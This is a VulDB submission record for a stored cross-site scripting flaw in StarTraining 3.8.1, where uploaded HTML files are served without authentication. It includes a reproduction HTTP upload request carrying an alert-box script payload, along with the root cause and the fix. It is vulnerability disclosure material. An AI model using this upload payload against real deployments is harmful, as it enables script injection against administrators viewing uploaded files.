| Titel | zhistaredu StarTraining 3.8.1 Cross Site Scripting |
|---|
| Beschreibung | StarTraining 3.8.1 — HTML upload allowed and /profile/** served anonymously (stored XSS) (ST-VULN-006)
Product: StarTraining 3.8.1
CWE: CWE-434 / CWE-79
Classification: Cross Site Scripting
=== SUMMARY ===
`MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION` includes html/htm. Uploaded files are served under `/profile/**` with permitAll GET.
=== ROOT CAUSE ===
Dangerous upload extensions + public static resource mapping.
=== REPRODUCTION ===
POST /common/upload HTTP/1.1
Host: 127.0.0.1:8900
Authorization: USER_TOKEN
Content-Type: multipart/form-data; boundary=----BOUNDARY
Connection: close
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="poc.html"
Content-Type: text/html
<script>alert('ST-PoC')</script>
------BOUNDARY--
# Then open returned /profile/upload/.../poc.html without auth
Expected: Upload returns profile URL; GET executes script in browser
=== IMPACT ===
Stored XSS against admins viewing uploaded resources.
=== FIX ===
Remove html from allowed extensions; require auth on /profile/**; enable XSS filter.
|
|---|
| Quelle | ⚠️ https://github.com/ArrestX/startraining-advisories/blob/main/advisories/ST-VULN-006-stored-html-upload-xss.md |
|---|
| Benutzer | thmanhz (UID 100327) |
|---|
| Einreichung | 05.08.2026 02:20 (vor 2 Monaten) |
|---|
| Moderieren | 27.09.2026 05:38 (2 months later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 410810 [zhistaredu StarTraining bis 3.8.1 Upload Endpoint MimeTypeUtils.java Datei Cross Site Scripting] |
|---|
| Punkte | 20 |
|---|